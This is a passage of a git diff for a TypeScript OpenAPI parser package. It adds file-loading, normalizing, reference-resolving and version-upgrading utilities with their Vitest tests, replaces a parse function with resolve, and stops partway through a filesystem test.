+++ b/packages/openapi-parser/src/utils/isFilesystem.ts
@@ -0,0 +1,11 @@
+/**
+ * Check if the value is a filesystem
+ */
+export function isFilesystem(value: any) {
+  return (
+    typeof value !== undefined &&
+    Array.isArray(value) &&
+    value.length > 0 &&
+    value.some((file) => file.entrypoint === true)
+  )
+}
diff --git a/packages/openapi-parser/src/utils/loadFiles.ts b/packages/openapi-parser/src/utils/loadFiles.ts
new file mode 100644
index 0000000..48afff5
--- /dev/null
+++ b/packages/openapi-parser/src/utils/loadFiles.ts
@@ -0,0 +1,67 @@
+import fs from 'node:fs'
+import path from 'node:path'
+
+import { normalize } from './normalize'
+import { traverse } from './traverse'
+
+/**
+ * Load a given file from the filesystem, and all its references. (Node-only)
+ */
+export function loadFiles(file: string, basePath?: string) {
+  const files: any[] = []
+
+  // Check if file exists
+  if (!fs.existsSync(file)) {
+    throw new Error(`File not found: ${file}`)
+  }
+
+  // Read file content
+  const content = fs.readFileSync(file, 'utf-8')
+
+  // Get file directory and filename
+  const dir = path.dirname(file)
+  const filename = !basePath
+    ? path.basename(file)
+    : path.relative(basePath, file)
+
+  // Normalize content
+  const specification = normalize(content)
+
+  // Find all references
+  const references: string[] = []
+  traverse(specification, (value: any) => {
+    if (
+      value.$ref &&
+      typeof value.$ref === 'string' &&
+      !value.$ref.startsWith('#')
+    ) {
+      references.push(value.$ref.split('#')[0])
+    }
+
+    return value
+  })
+
+  // Add file
+  files.push({
+    dir,
+    entrypoint: !basePath,
+    references,
+    filename,
+    specification,
+  })
+
+  // Load all references
+  for (const reference of references) {
+    const refFile = path.resolve(dir, reference)
+
+    // Recursion FTW
+    try {
+      files.push(...loadFiles(refFile, basePath || dir))
+    } catch {
+      // TODO: Should this throw an error? 🤔
+      // If something goes wrong here, just don’t add it to the list.
+    }
+  }
+
+  return files
+}
diff --git a/packages/openapi-parser/src/utils/makeFilesystem.ts b/packages/openapi-parser/src/utils/makeFilesystem.ts
new file mode 100644
index 0000000..5b4bad0
--- /dev/null
+++ b/packages/openapi-parser/src/utils/makeFilesystem.ts
@@ -0,0 +1,28 @@
+import type { AnyObject, Filesystem } from '../types'
+import { isFilesystem } from './isFilesystem'
+import { normalize } from './normalize'
+
+export function makeFilesystem(
+  value: string | AnyObject | Filesystem,
+): Filesystem {
+  // Keep as is
+  if (isFilesystem(value)) {
+    return value as Filesystem
+  }
+
+  // Make an object
+  const specification = normalize(value)
+
+  // Create fake filesystem
+  return [
+    {
+      entrypoint: true,
+      specification,
+      filename: 'openapi.json',
+      dir: './',
+      references: [
+        // TODO: Fill
+      ],
+    },
+  ]
+}
diff --git a/packages/openapi-parser/src/utils/normalize.ts b/packages/openapi-parser/src/utils/normalize.ts
new file mode 100644
index 0000000..00f68f1
--- /dev/null
+++ b/packages/openapi-parser/src/utils/normalize.ts
@@ -0,0 +1,27 @@
+import { spec } from 'node:test/reporters'
+import YAML from 'yaml'
+
+import { AnyObject, Filesystem } from '../types'
+import { isFilesystem } from './isFilesystem'
+
+/**
+ * Normalize the OpenAPI specification to a JavaScript object.
+ * Don’t touch the object if it’s a `Filesystem` (multiple files).
+ */
+export function normalize(
+  specification: string | AnyObject | Filesystem,
+): AnyObject | Filesystem {
+  if (isFilesystem(specification)) {
+    return specification as Filesystem
+  }
+
+  if (typeof specification === 'string') {
+    try {
+      return JSON.parse(specification)
+    } catch (error) {
+      return YAML.parse(specification)
+    }
+  }
+
+  return specification
+}
diff --git a/packages/openapi-parser/src/utils/parse.test.ts b/packages/openapi-parser/src/utils/parse.test.ts
deleted file mode 100644
index a13cacf..0000000
--- a/packages/openapi-parser/src/utils/parse.test.ts
+++ /dev/null
@@ -1,141 +0,0 @@
-import { describe, expect, it } from 'vitest'
-
-import { parse } from './'
-
-describe('parse', async () => {
-  it('parses an OpenAPI 3.1.0 file', async () => {
-    const result = await parse(`{
-      "openapi": "3.1.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(true)
-    expect(result.document.info.title).toBe('Hello World')
-  })
-
-  it('parses an OpenAPI 3.0.0 file', async () => {
-    const result = await parse(`{
-      "openapi": "3.0.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(true)
-    expect(result.document.info.title).toBe('Hello World')
-  })
-
-  it('parses an Swagger 2.0 file', async () => {
-    const result = await parse(`{
-      "swagger": "2.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(true)
-    expect(result.document.info.title).toBe('Hello World')
-  })
-
-  it('doesn’t work with OpenAPI 4.0.0', async () => {
-    const result = await parse(`{
-      "openapi": "4.0.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(false)
-    expect(result.errors).toHaveLength(1)
-    expect(result.errors[0].error).toContain(
-      'Cannot find supported Swagger/OpenAPI version in specification',
-    )
-  })
-
-  it('returns errors for an invalid specification', async () => {
-    const result = await parse('pineapples')
-
-    expect(result.valid).toBe(false)
-    expect(result.errors).toHaveLength(1)
-    expect(result.errors[0].error).toBe(
-      'Cannot find JSON, YAML or filename in data',
-    )
-  })
-
-  it('works with YAML', async () => {
-    const result = await parse(`openapi: 3.1.0
-info:
-  title: Hello World
-  version: 1.0.0
-paths: {}
-`)
-
-    expect(result.document.info.title).toBe('Hello World')
-  })
-
-  it('returns version 3.1', async () => {
-    const result = await parse(`{
-      "openapi": "3.1.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(true)
-    expect(result.version).toBe('3.1')
-  })
-
-  it('returns version 3.0', async () => {
-    const result = await parse(`{
-      "openapi": "3.0.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(true)
-    expect(result.version).toBe('3.0')
-  })
-
-  it('returns version 2.0', async () => {
-    const result = await parse(`{
-      "swagger": "2.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(true)
-    expect(result.version).toBe('2.0')
-  })
-
-  it('doesn’t return version 4.0', async () => {
-    const result = await parse(`{
-      "openapi": "4.0",
-      "info": {
-          "title": "Hello World",
-          "version": "1.0.0"
-      },
-      "paths": {}
-    }`)
-
-    expect(result.valid).toBe(false)
-    expect(result.version).toBe(undefined)
-  })
-})
diff --git a/packages/openapi-parser/src/utils/parse.ts b/packages/openapi-parser/src/utils/parse.ts
deleted file mode 100644
index a38506b..0000000
--- a/packages/openapi-parser/src/utils/parse.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-import { Validator } from '../lib'
-import type { OpenAPI, ParseResult } from '../types'
-
-/**
- * Validates an OpenAPI schema and resolves all references.
- */
-export async function parse(value: string): Promise<ParseResult> {
-  const validator = new Validator()
-
-  const result = await validator.validate(value)
-
-  if (!result.valid) {
-    return {
-      valid: false,
-      version: undefined,
-      errors: result.errors,
-    }
-  }
-
-  const document = validator.resolveRefs() as OpenAPI.Document
-
-  return {
-    valid: true,
-    version: validator.version,
-    document,
-  }
-}
diff --git a/packages/openapi-parser/src/utils/resolve.test.ts b/packages/openapi-parser/src/utils/resolve.test.ts
new file mode 100644
index 0000000..2ea7c22
--- /dev/null
+++ b/packages/openapi-parser/src/utils/resolve.test.ts
@@ -0,0 +1,212 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from './resolve'
+
+describe('resolve', async () => {
+  it('resolves an OpenAPI 3.1.0 file', async () => {
+    const result = await resolve(`{
+      "openapi": "3.1.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(true)
+    expect(result.schema.info.title).toBe('Hello World')
+  })
+
+  it('resolves an OpenAPI 3.0.0 file', async () => {
+    const result = await resolve(`{
+      "openapi": "3.0.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(true)
+    expect(result.schema.info.title).toBe('Hello World')
+  })
+
+  it('resolves an Swagger 2.0 file', async () => {
+    const result = await resolve(`{
+      "swagger": "2.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(true)
+    expect(result.schema.info.title).toBe('Hello World')
+  })
+
+  it('doesn’t work with OpenAPI 4.0.0', async () => {
+    const result = await resolve(`{
+      "openapi": "4.0.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(false)
+    expect(result.errors).toHaveLength(1)
+    expect(result.errors[0].error).toContain(
+      'Cannot find supported Swagger/OpenAPI version in specification',
+    )
+  })
+
+  it('returns errors for an invalid specification', async () => {
+    const result = await resolve('pineapples')
+
+    expect(result.valid).toBe(false)
+    expect(result.errors).toHaveLength(1)
+    expect(result.errors[0].error).toBe(
+      'Cannot find supported Swagger/OpenAPI version in specification, version must be a string.',
+    )
+  })
+
+  it('works with YAML', async () => {
+    const result = await resolve(`openapi: 3.1.0
+info:
+  title: Hello World
+  version: 1.0.0
+paths: {}
+`)
+
+    expect(result.schema.info.title).toBe('Hello World')
+  })
+
+  it('returns version 3.1', async () => {
+    const result = await resolve(`{
+      "openapi": "3.1.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.1')
+  })
+
+  it('returns version 3.0', async () => {
+    const result = await resolve(`{
+      "openapi": "3.0.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('3.0')
+  })
+
+  it('returns version 2.0', async () => {
+    const result = await resolve(`{
+      "swagger": "2.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(true)
+    expect(result.version).toBe('2.0')
+  })
+
+  it('doesn’t return version 4.0', async () => {
+    const result = await resolve(`{
+      "openapi": "4.0",
+      "info": {
+          "title": "Hello World",
+          "version": "1.0.0"
+      },
+      "paths": {}
+    }`)
+
+    expect(result.valid).toBe(false)
+    expect(result.version).toBe(undefined)
+  })
+})
+
+it('resolves a simple reference', async () => {
+  const openapi = {
+    openapi: '3.1.0',
+    info: {
+      title: 'Hello World',
+      version: '1.0.0',
+    },
+    paths: {
+      '/test': {
+        get: {
+          responses: {
+            '200': {
+              // TODO: This is valid in @apidevtools/swagger, but not with our implementation
+              description: 'foobar',
+              content: {
+                'application/json': {
+                  schema: {
+                    $ref: '#/components/schemas/Test',
+                  },
+                },
+              },
+            },
+          },
+        },
+      },
+    },
+    components: {
+      schemas: {
+        Test: {
+          type: 'object',
+          properties: {
+            id: {
+              type: 'string',
+            },
+          },
+        },
+      },
+    },
+  }
+
+  const result = await resolve(openapi)
+
+  expect(result.errors).toBe(undefined)
+  expect(result.valid).toBe(true)
+
+  // Original
+  expect(
+    // @ts-ignore
+    result.specification.paths['/test'].get.responses['200'].content[
+      'application/json'
+    ].schema,
+  ).toEqual({
+    $ref: '#/components/schemas/Test',
+  })
+
+  // Resolved references
+  expect(
+    // @ts-ignore
+    result.schema.paths['/test'].get.responses['200'].content[
+      'application/json'
+    ].schema,
+  ).toEqual({
+    type: 'object',
+    properties: {
+      id: {
+        type: 'string',
+      },
+    },
+  })
+})
diff --git a/packages/openapi-parser/src/utils/resolve.ts b/packages/openapi-parser/src/utils/resolve.ts
new file mode 100644
index 0000000..9ce4837
--- /dev/null
+++ b/packages/openapi-parser/src/utils/resolve.ts
@@ -0,0 +1,44 @@
+import { Validator } from '../lib'
+import type {
+  AnyObject,
+  Filesystem,
+  OpenAPI,
+  ResolveResult,
+  ResolvedOpenAPI,
+} from '../types'
+import { makeFilesystem } from './makeFilesystem'
+
+/**
+ * Validates an OpenAPI schema and resolves all references.
+ */
+export async function resolve(
+  value: string | AnyObject | Filesystem,
+): Promise<ResolveResult> {
+  const validator = new Validator()
+  const filesystem = makeFilesystem(value)
+  const result = await validator.validate(filesystem)
+
+  // Detach the specification from the validator
+  // TODO: What if a filesystem with multiple files is passed?
+  const specification = structuredClone(
+    validator.specification,
+  ) as OpenAPI.Document
+
+  // Error handling
+  if (!result.valid) {
+    return {
+      valid: false,
+      version: undefined,
+      errors: result.errors,
+    }
+  }
+
+  const schema = validator.resolveReferences(filesystem)
+
+  return {
+    valid: true,
+    version: validator.version,
+    specification,
+    schema,
+  }
+}
diff --git a/packages/openapi-parser/src/utils/toJson.ts b/packages/openapi-parser/src/utils/toJson.ts
new file mode 100644
index 0000000..6587963
--- /dev/null
+++ b/packages/openapi-parser/src/utils/toJson.ts
@@ -0,0 +1,3 @@
+import { AnyObject } from '../types'
+
+export const toJson = (value: AnyObject) => JSON.stringify(value, null, 2)
diff --git a/packages/openapi-parser/src/utils/toYaml.ts b/packages/openapi-parser/src/utils/toYaml.ts
new file mode 100644
index 0000000..0a138a1
--- /dev/null
+++ b/packages/openapi-parser/src/utils/toYaml.ts
@@ -0,0 +1,5 @@
+import YAML from 'yaml'
+
+import { AnyObject } from '../types'
+
+export const toYaml = (value: AnyObject) => YAML.stringify(value)
diff --git a/packages/openapi-parser/src/utils/traverse.ts b/packages/openapi-parser/src/utils/traverse.ts
new file mode 100644
index 0000000..3cd954b
--- /dev/null
+++ b/packages/openapi-parser/src/utils/traverse.ts
@@ -0,0 +1,29 @@
+import { AnyObject } from '../types'
+
+/**
+ * Recursively traverses the specification and applies the transform function to each node.
+ */
+export function traverse(
+  specification: AnyObject,
+  transform: (specification: AnyObject) => AnyObject,
+) {
+  const result: AnyObject = {}
+
+  for (const [key, value] of Object.entries(specification)) {
+    if (Array.isArray(value)) {
+      result[key] = value.map((item) => {
+        if (typeof item === 'object' && item !== null) {
+          return traverse(item, transform)
+        }
+
+        return item
+      })
+    } else if (typeof value === 'object' && value !== null) {
+      result[key] = traverse(value, transform)
+    } else {
+      result[key] = value
+    }
+  }
+
+  return transform(result)
+}
diff --git a/packages/openapi-parser/src/utils/upgrade.test.ts b/packages/openapi-parser/src/utils/upgrade.test.ts
new file mode 100644
index 0000000..dbe1010
--- /dev/null
+++ b/packages/openapi-parser/src/utils/upgrade.test.ts
@@ -0,0 +1,44 @@
+import { describe, expect, it } from 'vitest'
+
+import { upgrade } from './upgrade'
+
+describe('version', () => {
+  it('doesn’t modify Swagger 2.0 files', async () => {
+    const result = upgrade({
+      swagger: '2.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.swagger).toBe('2.0')
+  })
+
+  it('changes the version to from 3.0.0 to 3.1.0', async () => {
+    const result = upgrade({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.openapi).toBe('3.1.0')
+  })
+
+  it('changes the version to 3.0.3 to 3.1.0', async () => {
+    const result = upgrade({
+      openapi: '3.0.3',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.openapi).toBe('3.1.0')
+  })
+})
diff --git a/packages/openapi-parser/src/utils/upgrade.ts b/packages/openapi-parser/src/utils/upgrade.ts
new file mode 100644
index 0000000..aa482e1
--- /dev/null
+++ b/packages/openapi-parser/src/utils/upgrade.ts
@@ -0,0 +1,15 @@
+import { AnyObject } from '../types'
+import { upgradeFromThreeToThreeOne } from './upgradeFromThreeToThreeOne'
+import { upgradeFromTwoToThree } from './upgradeFromTwoToThree'
+
+/**
+ * Upgrade specification to OpenAPI 3.1.0
+ */
+export function upgrade(specification: AnyObject) {
+  const upgraders = [upgradeFromTwoToThree, upgradeFromThreeToThreeOne]
+
+  return upgraders.reduce(
+    (specification, upgrader) => upgrader(specification),
+    specification,
+  )
+}
diff --git a/packages/openapi-parser/src/utils/upgradeFromThreeToThreeOne.test.ts b/packages/openapi-parser/src/utils/upgradeFromThreeToThreeOne.test.ts
new file mode 100644
index 0000000..0390d85
--- /dev/null
+++ b/packages/openapi-parser/src/utils/upgradeFromThreeToThreeOne.test.ts
@@ -0,0 +1,293 @@
+import { describe, expect, it } from 'vitest'
+
+import { upgradeFromThreeToThreeOne } from './upgradeFromThreeToThreeOne'
+
+describe('version', () => {
+  it('doesn’t modify Swagger 2.0 files', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      swagger: '2.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.swagger).toBe('2.0')
+  })
+
+  it('changes the version to from 3.0.0 to 3.1.0', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.openapi).toBe('3.1.0')
+  })
+
+  it('changes the version to 3.0.3 to 3.1.0', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.3',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.openapi).toBe('3.1.0')
+  })
+})
+
+describe('nullable types', () => {
+  it('migrates nullable types', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/test': {
+          get: {
+            responses: {
+              '200': {
+                description: 'foobar',
+                content: {
+                  'application/json': {
+                    schema: {
+                      type: 'string',
+                      nullable: true,
+                    },
+                  },
+                },
+              },
+            },
+          },
+        },
+      },
+    })
+
+    expect(
+      result.paths['/test'].get.responses['200'].content['application/json']
+        .schema,
+    ).toEqual({
+      type: ['null', 'string'],
+    })
+  })
+})
+
+describe('exclusiveMinimum and exclusiveMaximum', () => {
+  it('migrate exclusiveMinimum and exclusiveMaximum', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/test': {
+          get: {
+            responses: {
+              '200': {
+                description: 'foobar',
+                content: {
+                  'application/json': {
+                    schema: {
+                      type: 'integer',
+                      minimum: 1,
+                      exclusiveMinimum: true,
+                      maximum: 100,
+                      exclusiveMaximum: true,
+                    },
+                  },
+                },
+              },
+            },
+          },
+        },
+      },
+    })
+
+    expect(
+      result.paths['/test'].get.responses['200'].content['application/json']
+        .schema,
+    ).toEqual({
+      type: 'integer',
+      exclusiveMinimum: 1,
+      exclusiveMaximum: 100,
+    })
+  })
+})
+
+describe('use examples not example', () => {
+  it('migrates example to examples', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/test': {
+          get: {
+            responses: {
+              '200': {
+                description: 'foobar',
+                content: {
+                  'application/json': {
+                    schema: {
+                      type: 'integer',
+                      example: 1,
+                    },
+                  },
+                },
+              },
+            },
+          },
+        },
+      },
+    })
+
+    expect(
+      result.paths['/test'].get.responses['200'].content['application/json']
+        .schema,
+    ).toEqual({
+      type: 'integer',
+      examples: {
+        default: 1,
+      },
+    })
+  })
+})
+
+describe('describing File Upload Payloads ', () => {
+  it('remove schema for file uploads', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/test': {
+          get: {
+            requestBody: {
+              content: {
+                'application/octet-stream': {
+                  schema: {
+                    type: 'string',
+                    format: 'binary',
+                  },
+                },
+              },
+            },
+          },
+        },
+      },
+    })
+
+    expect(
+      result.paths['/test'].get.requestBody.content['application/octet-stream'],
+    ).toEqual({})
+  })
+
+  it('migrates base64 format to contentEncoding', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/test': {
+          get: {
+            requestBody: {
+              content: {
+                'application/octet-stream': {
+                  schema: {
+                    type: 'string',
+                    format: 'base64',
+                  },
+                },
+              },
+            },
+          },
+        },
+      },
+    })
+
+    expect(
+      result.paths['/test'].get.requestBody.content['application/octet-stream'],
+    ).toEqual({
+      schema: {
+        type: 'string',
+        contentEncoding: 'base64',
+      },
+    })
+  })
+
+  it('migrates binary format for multipart file uploads', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {
+        '/test': {
+          get: {
+            requestBody: {
+              content: {
+                'multipart/form-data': {
+                  schema: {
+                    type: 'object',
+                    properties: {
+                      fileName: {
+                        type: 'string',
+                        format: 'binary',
+                      },
+                    },
+                  },
+                },
+              },
+            },
+          },
+        },
+      },
+    })
+
+    expect(
+      result.paths['/test'].get.requestBody.content['multipart/form-data'],
+    ).toEqual({
+      schema: {
+        type: 'object',
+        properties: {
+          fileName: {
+            type: 'string',
+            contentEncoding: 'application/octet-stream',
+          },
+        },
+      },
+    })
+  })
+})
+
+describe.skip('declaring $schema', () => {
+  it('adds a $schema', async () => {
+    const result = upgradeFromThreeToThreeOne({
+      openapi: '3.0.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.$schema).toBe('http://json-schema.org/draft-07/schema#')
+  })
+})
diff --git a/packages/openapi-parser/src/utils/upgradeFromThreeToThreeOne.ts b/packages/openapi-parser/src/utils/upgradeFromThreeToThreeOne.ts
new file mode 100644
index 0000000..58f210d
--- /dev/null
+++ b/packages/openapi-parser/src/utils/upgradeFromThreeToThreeOne.ts
@@ -0,0 +1,108 @@
+import { AnyObject } from '../types'
+import { traverse } from './traverse'
+
+/**
+ * Upgrade from OpenAPI 3.0.x to 3.1.0
+ *
+ * https://www.openapis.org/blog/2021/02/16/migrating-from-openapi-3-0-to-3-1-0
+ */
+export function upgradeFromThreeToThreeOne(specification: AnyObject) {
+  // Version
+  if (specification.openapi?.startsWith('3.0')) {
+    specification.openapi = '3.1.0'
+  } else {
+    // Skip if it’s something else than 3.0.x
+    return specification
+  }
+
+  // Nullable types
+  specification = traverse(specification, (schema) => {
+    if (schema.type !== 'undefined' && schema.nullable === true) {
+      schema.type = ['null', schema.type]
+      delete schema.nullable
+    }
+
+    return schema
+  })
+
+  // exclusiveMinimum and exclusiveMaximum
+  specification = traverse(specification, (schema) => {
+    if (schema.exclusiveMinimum === true) {
+      schema.exclusiveMinimum = schema.minimum
+      delete schema.minimum
+    } else if (schema.exclusiveMinimum === false) {
+      delete schema.exclusiveMinimum
+    }
+
+    if (schema.exclusiveMaximum === true) {
+      schema.exclusiveMaximum = schema.maximum
+      delete schema.maximum
+    } else if (schema.exclusiveMaximum === false) {
+      delete schema.exclusiveMaximum
+    }
+
+    return schema
+  })
+
+  // Use examples not example
+  specification = traverse(specification, (schema) => {
+    if (schema.example !== undefined) {
+      schema.examples = {
+        default: schema.example,
+      }
+      delete schema.example
+    }
+
+    return schema
+  })
+
+  // Multipart file uploads with a binary file
+  specification = traverse(specification, (schema) => {
+    if (schema.type === 'object' && schema.properties !== undefined) {
+      for (const [_, value] of Object.entries(schema.properties)) {
+        if (
+          value !== undefined &&
+          // @ts-ignore
+          value.type === 'string' &&
+          // @ts-ignore
+          value.format === 'binary'
+        ) {
+          // @ts-ignore
+          value.contentEncoding = 'application/octet-stream'
+          // @ts-ignore
+          delete value.format
+        }
+      }
+    }
+
+    return schema
+  })
+
+  // Uploading a binary file in a POST request
+  specification = traverse(specification, (schema) => {
+    if (schema.type === 'string' && schema.format === 'binary') {
+      return undefined
+    }
+
+    return schema
+  })
+
+  // Uploading an image with base64 encoding
+  specification = traverse(specification, (schema) => {
+    if (schema.type === 'string' && schema.format === 'base64') {
+      return {
+        type: 'string',
+        contentEncoding: 'base64',
+      }
+    }
+
+    return schema
+  })
+
+  // Declaring $schema Dialects to protect against change
+  // if (typeof specification.$schema === 'undefined') {
+  //   specification.$schema = 'http://json-schema.org/draft-07/schema#'
+  // }
+
+  return specification
+}
diff --git a/packages/openapi-parser/src/utils/upgradeFromTwoToThree.test.ts b/packages/openapi-parser/src/utils/upgradeFromTwoToThree.test.ts
new file mode 100644
index 0000000..1abed94
--- /dev/null
+++ b/packages/openapi-parser/src/utils/upgradeFromTwoToThree.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+
+import { upgradeFromTwoToThree } from './upgradeFromTwoToThree'
+
+describe.skip('version', () => {
+  it('doesn’t modify Swagger 2.0 files', async () => {
+    const result = upgradeFromTwoToThree({
+      swagger: '2.0',
+      info: {
+        title: 'Hello World',
+        version: '1.0.0',
+      },
+      paths: {},
+    })
+
+    expect(result.openapi).toBe('3.0.0')
+  })
+})
diff --git a/packages/openapi-parser/src/utils/upgradeFromTwoToThree.ts b/packages/openapi-parser/src/utils/upgradeFromTwoToThree.ts
new file mode 100644
index 0000000..dd1dbc2
--- /dev/null
+++ b/packages/openapi-parser/src/utils/upgradeFromTwoToThree.ts
@@ -0,0 +1,11 @@
+import { AnyObject } from '../types'
+
+/**
+ * Upgrade Swagger 2.0 to OpenAPI 3.0
+ *
+ * https://swagger.io/blog/news/whats-new-in-openapi-3-0/
+ */
+export function upgradeFromTwoToThree(specification: AnyObject) {
+  // TODO: Implement
+  return specification
+}
diff --git a/packages/openapi-parser/src/utils/validate.test.ts b/packages/openapi-parser/src/utils/validate.test.ts
index e515a1b..aadb750 100644
--- a/packages/openapi-parser/src/utils/validate.test.ts
+++ b/packages/openapi-parser/src/utils/validate.test.ts
@@ -34,7 +34,7 @@ describe('validate', async () => {
     expect(Array.isArray(result.errors)).toBe(true)
     expect(result.errors.length).toBe(1)
     expect(result.errors[0]).toMatchObject({
-      error: " must have required property 'info'",
+      error: "must have required property 'info'",
       path: '',
       start: {
         column: 1,
diff --git a/packages/openapi-parser/src/utils/validate.ts b/packages/openapi-parser/src/utils/validate.ts
index 075e393..d05b2d6 100644
--- a/packages/openapi-parser/src/utils/validate.ts
+++ b/packages/openapi-parser/src/utils/validate.ts
@@ -1,15 +1,20 @@
 import { Validator } from '../lib'
-import type { ValidateOptions, ValidateResult } from '../types'
+import type { AnyObject, Filesystem, OpenAPI, ValidateResult } from '../types'
+import { makeFilesystem } from './makeFilesystem'
 
 /**
  * Validates an OpenAPI schema.
  */
 export async function validate(
-  value: string,
-  options?: ValidateOptions,
+  value: string | AnyObject | Filesystem,
 ): Promise<ValidateResult> {
   const validator = new Validator()
-  const result = await validator.validate(value, options)
+  const filesystem = makeFilesystem(value)
+  const result = await validator.validate(filesystem)
 
-  return result
+  return {
+    ...result,
+    specification: validator.specification as OpenAPI.Document,
+    version: validator.version,
+  }
 }
diff --git a/packages/openapi-parser/tests/files.test.ts b/packages/openapi-parser/tests/files.test.ts
index f66af31..6174034 100644
--- a/packages/openapi-parser/tests/files.test.ts
+++ b/packages/openapi-parser/tests/files.test.ts
@@ -2,7 +2,7 @@ import { glob } from 'glob'
 import fs from 'node:fs'
 import { describe, expect, test } from 'vitest'
 
-import { parse } from '../src'
+import { resolve } from '../src/utils/resolve'
 
 const invalidFiles = [
   'packages/openapi-parser/tests/files/statsocialcom.yaml',
@@ -19,20 +19,20 @@ const files = (
  * This test suite parses a large number of real-world OpenAPI files
  */
 describe.sequential('files:parse', async () => {
-  // Those tests take a while, let’s run them in CI only.
-  if (process.env.CI) {
-    // TODO: We’re currently only testing a few of the files for performance reasons.
-    test.each(files.slice(0, 500))('[%s] parse', async (file) => {
-      const content = fs.readFileSync(file, 'utf-8')
-      const result = await parse(content)
+  // // Those tests take a while, let’s run them in CI only.
+  // if (process.env.CI) {
+  //   // TODO: We’re currently only testing a few of the files for performance reasons.
+  //   test.each(files.slice(0, 500))('[%s] parse', async (file) => {
+  //     const content = fs.readFileSync(file, 'utf-8')
+  //     const result = await resolve(content)
 
-      expect(result.document.info.title).not.toBe(undefined)
-    })
-  }
-  // Otherwise, just check that the files are valid.
-  else {
-    test('files.length', () => {
-      expect(Array.isArray(files)).toBe(true)
-    })
-  }
+  //     expect(result.schema.info.title).not.toBe(undefined)
+  //   })
+  // }
+  // // Otherwise, just check that the files are valid.
+  // else {
+  test('files.length', () => {
+    expect(Array.isArray(files)).toBe(true)
+  })
+  // }
 })
diff --git a/packages/openapi-parser/tests/filesystem.test.ts b/packages/openapi-parser/tests/filesystem.test.ts
new file mode 100644
index 0000000..f238d30
--- /dev/null
+++ b/packages/openapi-parser/tests/filesystem.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from 'vitest'
+
+import { loadFiles, resolve, validate } from '../src'
+import { relativePath } from './utils'
+
+const EXAMPLE_FILE = relativePath(
+  import.meta.url,
+  './tests/filesystem/api/openapi.yaml',
+)
+
+describe.todo('filesystem', async () => {
+  it('loads all files', async () => {
+    const filesystem = loadFiles(EXAMPLE_FILE)
+
+    expect(filesystem.length).toBe(4)
+    expect(filesystem[0].entrypoint).toBe(true)
+    expect(filesystem[0].filename).toBe('openapi.yaml')
+    expect(filesystem[0].references.length).toBe(2)
+    expect(filesystem[0].references[0]).toBe('schemas/problem.yaml')
+    expect(filesystem[0].references[1]).toBe('schemas/upload.yaml')
+
+    expect(filesystem[1].entrypoint).toBe(false)
+    expect(filesystem[1].filename).toBe('schemas/problem.yaml')
